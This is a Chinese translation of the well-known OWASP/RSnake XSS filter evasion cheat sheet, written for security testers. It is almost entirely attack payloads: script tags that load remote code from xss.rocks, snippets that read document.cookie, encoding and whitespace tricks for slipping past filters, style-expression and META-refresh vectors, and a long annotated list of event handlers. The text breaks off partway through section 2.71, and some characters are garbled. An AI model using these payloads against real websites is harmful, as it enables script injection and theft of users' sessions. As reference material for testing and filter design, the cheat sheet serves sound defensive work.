XSS绕过,XSS过滤速查,XSS绕过姿势
1.介紹
這篇文章的主要目的是給專業安全測試人員提供一份跨站腳本漏洞檢測指南。文章的初始內容是由RSnake提供給 OWASP,內容基于他的XSS備忘錄:http://ha.ckers.org/xss.html。目前這個網頁已經重定向到OWASP網站,將由OWASP維護和完善它。OWASP 的第一個防御備忘錄項目:XSS (Cross Site Scripting)Prevention Cheat Sheet 靈感來源于 RSnake 的 XSS Cheat Sheet,所以我們對他給予我們的啟發表示感謝。我們想要去創建短小簡單的參考給開發者以便幫助他們預防 XSS漏洞,而不是簡單的告訴他們需要使用復雜的方法構建應用來預防各種千奇百怪的攻擊,這也是OWASP 備忘錄系列誕生的原因。
2.測試
這份備忘錄是為那些已經理解XSS攻擊,但是想要了解關于繞過過濾器方法之間細微差別的人準備的。
請注意大部分的跨站腳本攻擊向量已經在其代碼下方給出的瀏覽器列表中進行測試。
2.1.? XSS定位器
在大多數存在漏洞且不需要特定XSS攻擊代碼的地方插入下列代碼會彈出包含“XSS”字樣的對話框。使用URL編碼器來對整個代碼進行編碼。小技巧:如果你時間很緊想要快速檢查頁面,通常只要插入“<任意文本>”標簽,然后觀察頁面輸出是否明顯改變了就可以判斷是否存在漏洞:
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;
alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–
></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
2.2.? XSS定位器(短)
如果你沒有足夠的空間并且知道頁面上沒有存在漏洞的JavaScript,這個字符串是一個不錯的簡潔XSS注入檢查。注入后查看頁面源代碼并且尋找是否存在<XSS?或<XSS字樣來確認是否存在漏洞
”;!–”<XSS>=&{()}?
2.3.? 無過濾繞過
這是一個常規的XSS注入代碼,雖然通常它會被防御,但是建議首先去測試一下。(引號在任何現代瀏覽器中都不需要,所以這里省略了它):
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>?
2.4.? 利用多語言進行過濾繞過
‘”>><marquee><img src=x οnerrοr=confirm(1)></marquee>”></plaintext\></|\><plaintext/οnmοuseοver=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script>
<script>alert(document.cookie)</script>”>
<img/id=”confirm(1)”/alt=”/”src=”/”οnerrοr=eval(id)>’”>
<img src=”http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg“>
2.5.? 通過JavaScript命令實現的圖片XSS
圖片注入使用JavaScript命令實現(IE7.0 不支持在圖片上下文中使用JavaScript 命令,但是可以在其他上下文觸發。下面的例子展示了一種其他標簽依舊通用的原理):
<IMG SRC=”javascript:alert(‘XSS’);”>?
2.6.? 無分號無引號
<IMG SRC=javascript:alert(‘XSS’)>?
2.7.? 不區分大小寫的XSS攻擊向量
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>?
2.8.? HTML實體
必須有分號才可生效
<IMG SRC=javascript:alert("XSS")>?
2.9.? 重音符混淆
如果你的JavaScript代碼中需要同時使用單引號和雙引號,那么可以使用重音符(`)來包含JavaScript 代碼。這通常會有很大幫助,因為大部分跨站腳本過濾器都沒有過濾這個字符:
<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>?
2.10.??? 畸形的A標簽
跳過HREF標簽找到XSS的重點。。。由DavidCross提交~已在Chrome上驗證
<a οnmοuseοver=”alert(document.cookie)”>xxs link</a>?
此外Chrome經常幫你補全確實的引號。。。如果在這方面遇到問題就直接省略引號,Chrome會幫你補全在URL或腳本中缺少的引號。
<a οnmοuseοver=alert(document.cookie)>xxs link</a>?
2.11.??? 畸形的IMG標簽
最初由Begeek發現(短小精湛適用于所有瀏覽器),這個XSS攻擊向量使用了不嚴格的渲染引擎來構造含有IMG標簽并被引號包含的XSS攻擊向量。我猜測這種解析原來是為了兼容不規范的編碼。這會讓它更加難以正確的解析HTML標簽:
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>?
2.12.??? fromCharCode函數
如果不允許任何形式的引號,你可以通過執行JavaScript里的fromCharCode函數來創建任何你需要的XSS攻擊向量:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>?
2.13.??? 使用默認SRC屬性繞過SRC域名過濾器
這種方法可以繞過大多數SRC域名過濾器。將JavaScript代碼插入事件方法同樣適用于注入使用elements的任何HTML標簽,例如Form,Iframe, Input, Embed等等。它同樣允許將事件替換為任何標簽中可用的事件類型,例如onblur,onclick。下面會給出許多不同的可注入事件列表。由David Cross提交,Abdullah Hussam(@Abdulahhusam)編輯。
<IMG SRC=# οnmοuseοver=”alert(‘xxs’)”>?
2.14.??? 使用默認為空的SRC屬性
<IMG SRC= οnmοuseοver=”alert(‘xxs’)”>?
2.15.??? 使用不含SRC屬性
<IMG οnmοuseοver=”alert(‘xxs’)”>?
2.16.??? 通過error事件觸發alert
<IMG SRC=/ οnerrοr=”alert(String.fromCharCode(88,83,83))”></img>?
2.17.??? 對IMG標簽中onerror屬性進行編碼
<img src=x οnerrοr=”javascript:alert('XSS')″>?
2.18.??? 十進制HTML字符實體編碼
所有在IMG標簽里直接使用javascript:形式的XSS示例無法在Firefox或Netscape8.1以上瀏覽器(使用Gecko渲染引擎)運行。
<IMG SRC=javascript:alert(
'XSS')>
2.19.??? 不帶分號的十進制HTML字符實體編碼
這對于繞過對“&#XX;”形式的XSS過濾非常有用,因為大多數人不知道最長可使用7位數字。這同樣對例如$tmp_string =~s/.*\&#(\d+);.*/$1/;形式的過濾器有效,這種過濾器是錯誤的認為HTML字符實體編碼需要用分號結尾(無意中發現的):
<IMG SRC=javascript:a&
#0000108ert('XSS')>
2.20.??? 不帶分號的十六進制HTML字符實體編碼
這是有效繞過例如$tmp_string =~ s/.*\&#(\d+);.*/$1/;過濾器的方法。這種過濾器錯誤的認為#號后會跟著數字(十六進制HTML字符實體編碼并非如此)
<IMG SRC=javascript:alert('XSS')>?
2.21.??? 內嵌TAB
使用TAB來分開XSS攻擊代碼:
<IMG SRC=”jav ascript:alert(‘XSS’);”>?
2.22.??? 內嵌編碼后TAB
使用編碼后的TAB來分開XSS攻擊代碼:
<IMG SRC=”jav	ascript:alert(‘XSS’);”>?
2.23.??? 內嵌換行分隔XSS攻擊代碼
一些網站聲稱09到13(十進制)的HTML實體字符都可以實現這種攻擊,這是不正確的。只有09(TAB),10(換行)和13(回車)有效。查看ASCII字符表獲取更多細節。下面幾個XSS示例介紹了這些向量。
<IMG SRC=”jav
ascript:alert(‘XSS’);”>?
2.24.??? 內嵌回車分隔XSS攻擊代碼
注意:上面使用了比實際需要長的字符串是因為0可以忽略。經常可以遇到過濾器解碼十六進制和十進制編碼時認為只有2到3位字符。實際規則是1至7位字符:
<IMG SRC=”jav
ascript:alert(‘XSS’);”>?
2.25.??? 使用空字符分隔JavaScript指令
空字符同樣可以作為XSS攻擊向量,但和上面有所區別,你需要使用一些例如Burp工具或在URL字符串里使用%00,亦或你想使用VIM編寫自己的注入工具(^V^@會生成空字符),還可以通過程序生成它到一個文本文件。老版本的Opera瀏覽器(例如Windows版的7.11)還會受另一個字符173(軟連字符)的影響。但是空字符%00更加有用并且能幫助繞過真實世界里的過濾器,例如這個例子里的變形:
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out?
2.26.??? 利用IMG標簽中JavaScript指令前的空格和元字符
如果過濾器不計算”javascript:”前的空格,這是正確的,因為它們不會被解析,但這點非常有用。因為這會造成錯誤的假設,就是引號和”javascript:”字樣間不能有任何字符。實際情況是你可以插入任何十進制的1至32號字符:
<IMG SRC=” ? javascript:alert(‘XSS’);”>?
2.27.??? 利用非字母非數字字符
FireFox的HTML解析器認為HTML關鍵詞后不能有非字母非數字字符,并且認為這是一個空白或在HTML標簽后的無效符號。但問題是有的XSS過濾器認為它們要查找的標記會被空白字符分隔。例如”<SCRIPT\s” != “<SCRIPT/XSS\s”:
<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT>?
基于上面的原理,可以使用模糊測試進行擴展。Gecko渲染引擎允許任何字符包括字母,數字或特殊字符(例如引號,尖括號等)存在于事件名稱和等號之間,這會使得更加容易繞過跨站腳本過濾。注意這同樣適用于下面看到的重音符:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>?
Yair Amit讓我注意到了IE和Gecko渲染引擎有一點不同行為,在于是否在HTML標簽和參數之間允許一個不含空格的斜杠。這會非常有用如果系統不允許空格的時候。
<SCRIPT/SRC=”http://xss.rocks/xss.js“></SCRIPT>?
2.28.??? 額外的尖括號
由Franz Sedlmaier提交,這個XSS攻擊向量可以繞過某些檢測引擎,比如先查找第一個匹配的尖括號,然后比較里面的標簽內容,而不是使用更有效的算法,例如Boyer-Moore算法就是查找整個字符串中的尖括號和相應標簽(當然是通過模糊匹配)。雙斜杠注釋了額外的尖括號來防止出現JavaScript錯誤:
<<SCRIPT>alert(“XSS”);//<</SCRIPT>?
2.29.??? 未閉合的script標簽
在Firefox和Netscape 8.1的Gecko渲染引擎下你不是必須構造類似“></SCRIPT>”的跨站腳本攻擊向量。Firefox假定閉合HTML標簽是安全的并且會為你添加閉合標記。多么體貼!不像不影響Firefox的下一個問題,這不需要在后面有額外的HTML標簽。如果需要可以添加引號,但通常是沒有必要的,需要注意的是,我并不知道這樣注入后HTML會什么樣子結束:
<SCRIPT SRC=http://xss.rocks/xss.js?< B >?
2.30.??? script標簽中的協議解析
這個特定的變體是由?ukasz Pilorz提交的并且基于Ozh提供的協議解析繞過。這個跨站腳本示例在IE和Netscape的IE渲染模式下有效,如果添加了</SCRIPT>標記在Opera中也可以。這在輸入空間有限的情況下是非常有用的,你所使用的域名越短越好。”.j”是可用的,在SCRIPT標簽中不需要考慮編碼類型因為瀏覽器會自動識別。
<SCRIPT SRC=//xss.rocks/.j>?
2.31.??? 只含左尖括號的HTML/JavaScript XSS向量
IE渲染引擎不像Firefox,不會向頁面中添加額外數據。但它允許在IMG標簽中直接使用javascript。這對構造攻擊向量是很有用的,因為不需要閉合尖括號。這使得有任何HTML標簽都可以進行跨站腳本攻擊向量注入。甚至可以不使用”>”閉合標簽。注意:這會讓HTML頁面變得混亂,具體程度取決于下面的HTML標簽。這可以繞過以下NIDS正則:/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/因為不需要”>”閉合。另外在實際對抗XSS過濾器的時候,使用一個半開放的<IFRAME標簽替代<IMG標簽也是非常有效的。
<IMG SRC=”javascript:alert(‘XSS’)”?
?
2.32.??? 多個左尖括號
?
?
使用一個左尖括號替代右尖括號作為標簽結尾的攻擊向量會在不同瀏覽器的Gecko渲染引擎下有不同表現。沒有左尖括號時,在Firefox中生效,而在Netscape中無效。
<iframe src=http://xss.rocks/scriptlet.html?<?
?
?
2.33.??? JavaScript雙重轉義
?
?
當應用將一些用戶輸入輸出到例如:<SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT>的JavaScript中時,你想注入你的JavaScript腳本,你可以通過轉義轉義字符來規避服務器端轉義引號。注入后會得到<SCRIPT>vara=”\\”;alert(‘XSS’);//”;</SCRIPT>,這時雙引號不會被轉義并且可以觸發跨站腳本攻擊向量。XSS定位器就用了這種方法:
\”;alert(‘XSS’);//?
?
?
另一種情況是,如果內嵌數據進行了正確的JSON或JavaScript轉義,但沒有HTML編碼,那可以結束原有腳本塊并開始你自己的:
</script><script>alert(‘XSS’);</script>?
?
?
2.34.??? 閉合title標簽
?
?
這是一個簡單的閉合<TITLE>標簽的XSS攻擊向量,可以包含惡意的跨站腳本攻擊:
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>?
?
?
2.35.??? INPUT image
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>?
?
?
?
?
2.36.??? BODY image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>?
?
?
?
?
2.37.??? IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>?
?
?
?
?
2.38.??? IMG lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>?
?
?
?
?
2.39.??? List-style-image
?
?
?
處理嵌入的圖片列表是很麻煩的問題。由于JavaScript指令的原因只能在IE渲染引擎下有效。不是一個特別有用的跨站腳本攻擊向量:
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS</br>?
?
?
2.40.??? 圖片中引用VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’>?
?
?
?
?
2.41.??? Livescript (僅限舊版本Netscape)
<IMG SRC=”livescript:[code]">?
?
?
?
?
2.42.??? SVG對象標簽
<svg/οnlοad=alert('XSS')>?
?
?
?
?
2.43.??? ECMAScript 6
Set.constructor`alert\x28document.domain\x29```?
?
?
?
?
2.44.??? BODY標簽
?
?
這個方法不需要使用任何例如"javascript:"或"<SCRIPT..."語句來完成XSS攻擊。Dan Crowley特別提醒你可以在等號前加入一個空格("οnlοad=" != "onload ="):
<BODY ONLOAD=alert('XSS')>?
?
?
2.45.??? 事件處理程序
?
?
在XSS攻擊中可使用以下事件(在完稿的時候這是網上最全的列表了)。感謝ReneLedosquet的更新。
?
?
1.????FSCommand() (攻擊者當需要在嵌入的Flash對象中執行時可以使用此事件)
?
2.????onAbort() (當用戶中止加載圖片時)
?
3.????onActivate() (當對象激活時)
?
4.????onAfterPrint() (用戶打印或進行打印預覽后觸發)
?
5.????onAfterUpdate() (從數據源對象更新數據后由數據對象觸發)
?
6.????onBeforeActivate() (在對象設置為激活元素前觸發)
?
7.????onBeforeCopy() (攻擊者在選中部分拷貝到剪貼板前執行攻擊代碼-攻擊者可以通過執行execCommand("Copy")函數觸發)
?
8.????onBeforeCut() (攻擊者在選中部分剪切到剪貼板前執行攻擊代碼)
?
9.????onBeforeDeactivate() (在當前對象的激活元素變化前觸發)
?
10.??onBeforeEditFocus() (在一個包含可編輯元素的對象進入激活狀態時或一個可編輯的對象被選中時觸發)
?
11.??onBeforePaste() (在用戶被誘導進行粘貼前或使用execCommand("Paste")函數觸發)
?
12.??onBeforePrint() (用戶需要被誘導進行打印或攻擊者可以使用print()或execCommand("Print")函數).
?
13.??onBeforeUnload() (用戶需要被誘導關閉瀏覽器-除非從父窗口執行,否則攻擊者不能關閉當前窗口)
?
14.??onBeforeUpdate() (從數據源對象更新數據前由數據對象觸發)
?
15.??onBegin() (當元素周期開始時由onbegin 事件立即觸發)
?
16.??onBlur() (另一個窗口彈出當前窗口失去焦點時觸發)
?
17.??onBounce() (當marquee對象的behavior屬性設置為“alternate”且字幕的滾動內容到達窗口一邊時觸發)
?
18.??onCellChange() (當數據提供者的數據變化時觸發)
?
19.??onChange() (select,text, 或TEXTAREA字段失去焦點并且值發生變化時觸發)
?
20.??onClick() (表單中點擊觸發)
?
21.??onContextMenu() (用戶需要在攻擊區域點擊右鍵)
?
22.??onControlSelect() (當用戶在一個對象上創建控件選中區時觸發)
?
23.??onCopy() (用戶需要復制一些東西或使用execCommand("Copy")命令時觸發)
?
24.??onCut() (用戶需要剪切一些東西或使用execCommand("Cut")命令時觸發)
?
25.??onDataAvailable() (用戶需要修改元素中的數據,或者由攻擊者提供的類似功能)
?
26.??onDataSetChanged() (當數據源對象變更導致數據集發生變更時觸發)
?
27.??onDataSetComplete() (數據源對象中所有數據可用時觸發)
?
28.??onDblClick() (用戶雙擊一個表單元素或鏈接)
?
29.??onDeactivate() (在激活元素從當前對象轉換到父文檔中的另一個對象時觸發)
?
30.??onDrag() (在元素正在拖動時觸發)
?
31.??onDragEnd() (當用戶完成元素的拖動時觸發)
?
32.??onDragLeave() (用戶在拖動元素離開放置目標時觸發)
?
33.??onDragEnter() (用戶將對象拖拽到合法拖曳目標)
?
34.??onDragOver() (用戶將對象拖拽劃過合法拖曳目標)
?
35.??onDragDrop() (用戶將一個對象(例如文件)拖拽到瀏覽器窗口)
?
36.??onDragStart() (當用戶開始拖動元素時觸發)
?
37.??onDrop() (當拖動元素放置在目標區域時觸發)
?
38.??onEnded() (在視頻/音頻(audio/video)播放結束時觸發)
?
39.??onError() (在加載文檔或圖像時發生錯誤)
?
40.??onErrorUpdate() (當從數據源對象更新相關數據遇到錯誤時在數據綁定對象上觸發)
?
41.??onFilterChange() (當濾鏡完成狀態變更時觸發)
?
42.??onFinish() (當marquee完成滾動時攻擊者可以執行攻擊)
?
43.??onFocus() (當窗口獲得焦點時攻擊者可以執行攻擊代碼)
?
44.??onFocusIn() (當元素將要被設置為焦點之前觸發)
?
45.??onFocusOut() (攻擊者可以在窗口失去焦點時觸發攻擊代碼)
?
46.??onHashChange() (當錨部分發生變化時觸發攻擊代碼)
?
47.??onHelp() (攻擊者可以在用戶在當前窗體激活時按下F1觸發攻擊代碼)
?
48.??onInput() (在 <input> 或 <textarea> 元素的值發生改變時觸發)
?
49.??onKeyDown() (用戶按下一個鍵的時候觸發)
?
50.??onKeyPress() (在鍵盤按鍵被按下并釋放一個鍵時觸發)
?
51.??onKeyUp() (用戶釋放一個鍵時觸發)
?
52.??onLayoutComplete() (用戶進行完打印或打印預覽時觸發)
?
53.??onLoad() (攻擊者在窗口加載后觸發攻擊代碼)
?
54.??onLoseCapture() (可以由releaseCapture()方法觸發)
?
55.??onMediaComplete() (當一個流媒體文件使用時,這個事件可以在文件播放前觸發)
?
56.??onMediaError() (當用戶在瀏覽器中打開一個包含媒體文件的頁面,出現問題時觸發事件)
?
57.??onMessage() (當頁面收到一個信息時觸發事件)
?
58.??onMouseDown() (攻擊者需要讓用戶點擊一個圖片觸發事件)
?
59.??onMouseEnter() (光標移動到一個對象或區域時觸發)
?
60.??onMouseLeave() (攻擊者需要讓用戶光標移動到一個圖像或表格然后移開來觸發事件)
?
61.??onMouseMove() (攻擊者需要讓用戶將光標移到一個圖片或表格)
?
62.??onMouseOut() (攻擊者需要讓用戶光標移動到一個圖像或表格然后移開來觸發事件)
?
63.??onMouseOver() (光標移動到一個對象或區域)
?
64.??onMouseUp() (攻擊者需要讓用戶點擊一個圖片)
?
65.??onMouseWheel() (攻擊者需要讓用戶使用他們的鼠標滾輪)
?
66.??onMove() (用戶或攻擊者移動頁面時觸發)
?
67.??onMoveEnd() (用戶或攻擊者移動頁面結束時觸發)
?
68.??onMoveStart() (用戶或攻擊者開始移動頁面時觸發)
?
69.??onOffline() (當瀏覽器從在線模式切換到離線模式時觸發)
?
70.??onOnline() (當瀏覽器從離線模式切換到在線模式時觸發)
?
71.??onOutOfSync() (當元素與當前時間線失去同步時觸發)
?
72.??onPaste() (用戶進行粘貼時或攻擊者可以使用execCommand("Paste")函數時觸發)
?
73.??onPause() (在視頻或音頻暫停時觸發)
?
74.??onPopState() (在窗口的瀏覽歷史(history 對象)發生改變時觸發)
?
75.??onProgress() (攻擊者可以在一個FLASH加載時觸發事件)
?
76.??onPropertyChange() (用戶或攻擊者需要改變元素屬性時觸發)
?
77.??onReadyStateChange() (每次 readyState 屬性變化時被自動調用)
?
78.??onRedo() (用戶返回上一頁面時觸發)
?
79.??onRepeat() (事件在播放完重復播放時觸發)
?
80.??onReset() (用戶或攻擊者重置表單時觸發)
?
81.??onResize() (用戶改變窗口大小時,攻擊者可以自動以這種方法觸發:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
?
82.??onResizeEnd() (用戶完成改變窗體大小時觸發)
?
83.??onResizeStart() (用戶開始改變窗體大小時觸發)
?
84.??onResume() (當元素繼續播放時觸發)
?
85.??onReverse() (當元素回放時觸發)
?
86.??onRowsEnter() (用戶或攻擊者需要改變數據源中的一行)
?
87.??onRowExit() (用戶或攻擊者改變數據源中的一行后退出時觸發)
?
88.??onRowDelete() (用戶或攻擊者需要刪除數據源中的一行)
?
89.??onRowInserted() (user or attacker would needto insert a row in a data source)
?
90.??onScroll() (用戶需要滾動或攻擊者使用scrollBy()函數)
?
91.??onSeek() (當用戶在元素上執行查找操作時觸發)
?
92.??onSelect() (用戶需要選擇一些文本-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)
?
93.??onSelectionChange() (當用戶選擇文本變化時觸發-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)
?
94.??onSelectStart() (當用戶開始選擇文本時觸發-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)
?
95.??onStart() (在marquee 對象開始循環時觸發)
?
96.??onStop() (當用戶按下停止按鈕或離開頁面時觸發)
?
97.??onStorage() (當Web Storage更新時觸發)
?
98.??onSyncRestored() (當元素與它的時間線恢復同步時觸發)
?
99.??onSubmit() (需要用戶或攻擊者提交表單)
?
100.onTimeError() (用戶或攻擊者設置時間屬性出現錯誤時觸發)
?
101.onTrackChange() (用戶或攻擊者改變播放列表內歌曲時觸發)
?
102.onUndo() (用戶返回上一瀏覽記錄頁面時觸發)
?
103.onUnload() (用戶點擊任意鏈接或按下后退按鈕或攻擊者強制進行點擊時觸發)
?
104.onURLFlip() (當一個高級流媒體格式(ASF)文件,由一個HTML+TIME(基于時間交互的多媒體擴展)媒體標簽播放時,可觸發在ASF文件中內嵌的攻擊腳本)
?
105.seekSegmentTime() (這是一個方法可以定位元素某個時間段內中的特定的點,并可以從該點播放。這個段落包含了一個重復的時間線,并包括使用AUTOREVERSE屬性進行反向播放。)
?
2.46.??? BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">?
?
?
?
?
2.47.??? & JavaScript包含
<BR SIZE="&{alert('XSS')}">?
?
?
?
?
2.48.??? 樣式表
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">?
?
?
?
?
2.49.??? 遠程樣式表
?
?
?
(利用像遠程樣式表一樣簡單的形式,你可以將XSS攻擊代碼包含在可使用內置表達式進行重定義的樣式參數里。)這只在IE和使用IE渲染模式Netscape8.1+。注意這里沒有任何元素在頁面中表明這頁面包含了JavaScript。提示:這些遠程樣式表都使用了body標簽,所以必須在頁面中有除了攻擊向量以外的內容存在時才會生效, 也就是如果是空白頁的話你必須在頁面添加一個字母來讓攻擊代碼生效:
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">?
?
?
2.50.??? 遠程樣式表2
?
?
這個和上面一樣有效,不過使用了<STYLE>標簽替代<LINK>標簽. 這個細微的變化曾經用來攻擊谷歌桌面。另一方面,如果在攻擊向量后有HTML標簽閉合攻擊向量,你可以移除末尾的</STYLE>標簽。在進行跨站腳本攻擊時,如不能同時使用等號或斜杠,這是非常有用的,這種情況在現實世界里不止一次發生了:
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>?
?
?
2.51.??? 遠程樣式表3
?
?
這種方式僅在Opera 8.0(9.x不可以)中有效,但方法比較有創意. 根據RFC2616,設置一個Link頭部不是HTTP1.1規范的一部分,但一些瀏覽器仍然允許這樣做 (例如Firefox和 ?Opera). 這里的技巧是設置一個頭部(和普通頭部并沒有什么區別,只是設置Link: <http://xss.rocks/xss.css>; REL=stylesheet)并且在遠程樣式表中包含使用了JavaScript的跨站腳本攻擊向量,這一點是FireFox不支持的:
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">?
?
?
2.52.??? 遠程樣式表4
?
?
這僅能在Gecko渲染引擎下有效并且需要在父頁面綁定一個XML文件。具有諷刺意味的是 Netscape認為Gecko更安全 ,所以對絕大多數網站來說會受到漏洞影響:
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>?
?
?
2.53.??? 含有分隔JavaScript的STYLE標簽
?
?
這個XSS會在IE中造成無限循環:
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>?
?
?
2.54.??? STYLE屬性中使用注釋分隔表達式
?
?
由Roman Ivanov創建
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">?
?
?
2.55.??? 含表達式的IMG STYLE
?
?
這是一個將上面XSS攻擊向量混合的方法,但確實展示了STYLE標簽可以用相當復雜的方式分隔,和上面一樣,也會讓IE進入死循環:
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
?
?
2.56.??? STYLE標簽(僅舊版本Netscape可用)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>?
?
?
?
?
2.57.??? 使用背景圖像的STYLE標簽
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>?
?
?
?
?
2.58.??? 使用背景的STYLE標簽
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>?
?
?
?
?
2.59.??? 含STYLE屬性的HTML任意標簽
?
?
IE6.0和IE渲染引擎模式下的Netscape 8.1+并不關心你建立的HTML標簽是否存在,只要是由尖括號和字母開始的即可:
<XSS STYLE="behavior: url(xss.htc);">?
?
?
2.60.??? 本地htc文件
?
?
這和上面兩個跨站腳本攻擊向量有些不同,因為它使用了一個必須和XSS攻擊向量在相同服務器上的.htc文件。這個示例文件通過下載JavaScript并將其作為style屬性的一部分運行來進行攻擊:
<XSS STYLE="behavior: url(xss.htc);">?
?
?
2.61.??? US-ASCII編碼
?
?
US-ASCII編碼(由Kurt Huwig發現)。它使用了畸形的7位ASCII編碼來代替8位。這個XSS攻擊向量可以繞過大多數內容過濾器,但是只在主機使用US-ASCII編碼傳輸數據時有效,或者可以自己設置編碼格式。相對繞過服務器端過濾,這在繞過WAF跨站腳本過濾時候更有效。Apache Tomcat是目前唯一已知使用US-ASCII編碼傳輸的:
?script?alert(¢XSS¢)?/script??
?
?
2.62.??? META
?
?
關于meta刷新比較奇怪的是它并不會在頭部中發送一個referrer-所以它通常用于不需要referrer的時候:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">?
?
?
2.62.1?使用數據的META
?
?
URL scheme指令。這個非常有用因為它并不包含任何可見的SCRIPT單詞或JavaScript指令,因為它使用了base64編碼.請查看RFC 2397尋找更多細節。你同樣可以使用具有Base64編碼功能的XSS工具來編碼HTML或JavaScript:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">?
?
?
2.62.2?含有額外URL參數的META
?
?
如果目標站點嘗試檢查URL是否包含"http://",你可以用以下技術規避它(由Moritz Naumann提交):
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">?
?
?
2.63.??? IFRAME
?
?
如果允許Iframe那就會有很多XSS問題:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>?
?
?
2.64.??? 基于事件IFRAME
?
?
Iframes和大多數其他元素可以使用下列事件(由David Cross提交):
<IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME>?
?
?
2.65.??? FRAME
?
?
Frames和iframe一樣有很多XSS問題:
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>?
?
?
2.66.??? TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">?
?
2.66.1. TD
?
?
和上面一樣,TD也可以通過BACKGROUND來包含JavaScriptXSS攻擊向量:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">?
?
?
2.67.??? DIV
?
?
2.67.1. DIV背景圖像
<DIV STYLE="background-image: url(javascript:alert('XSS'))">?
?
?
2.67.2. 含有Unicode XSS利用代碼的DIV背景圖像
?
?
這進行了一些修改來混淆URL參數。原始的漏洞是由RenaudLifchitz在Hotmail發現的:
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">?
?
?
2.67.3. 含有額外字符的DIV背景圖像
?
?
Rnaske進行了一個快速的XSS模糊測試來發現IE和安全模式下的Netscape 8.1中任何可以在左括號和JavaScript指令間加入的額外字符。這都是十進制的但是你也可以使用十六進制來填充(以下字符可用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
<DIV STYLE="background-image: url(javascript:alert('XSS'))">?
?
?
2.67.4. DIV表達式
?
?
一個非常有效的對抗現實中的跨站腳本過濾器的變體是在冒號和"expression"之間添加一個換行:
<DIV STYLE="width: expression(alert('XSS'));">?
2.68. ? ?html 條件選擇注釋塊
?
?
只能在IE5.0及更高版本和IE渲染引擎模式下的Netscape 8.1生效。一些網站認為在注釋中的任何內容都是安全的并且認為沒有必要移除,這就允許我們添加跨站腳本攻擊向量。系統會在一些內容周圍嘗試添加注釋標簽以便安全的渲染它們。如我們所見,這有時并不起作用:
<!--[if gte IE 4]>
?<SCRIPT>alert('XSS');</SCRIPT>
?<![endif]-->
?
?
2.69.??? BASE標簽
?
?
在IE和安全模式下的Netscape 8.1有效。你需要使用//來注釋下個字符,這樣你就不會造成JavaScript錯誤并且你的XSS標簽可以被渲染。同樣,這需要當前網站使用相對路徑例如"images/image.jpg"來放置圖像而不是絕對路徑。如果路徑以一個斜杠開頭例如"/images/image.jpg"你可以從攻擊向量中移除一個斜杠(只有在兩個斜杠時注釋才會生效):
<BASE HREF="javascript:alert('XSS');//">?
?
?
2.70.??? OBJECT標簽
?
?
如果允許使用OBJECT,你可以插入一個病毒攻擊載荷來感染用戶,類似于APPLET標簽。鏈接文件實際是含有你XSS攻擊代碼的HTML文件:
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>?
?
?
2.71.??? 使用EMBED標簽加載含有XSS的FLASH文件
?
?
如果你添加了屬性allowScriptAccess="never"以及allownetworking="internal"則可以減小風險(感謝Jonathan Vanasco提供的信息):
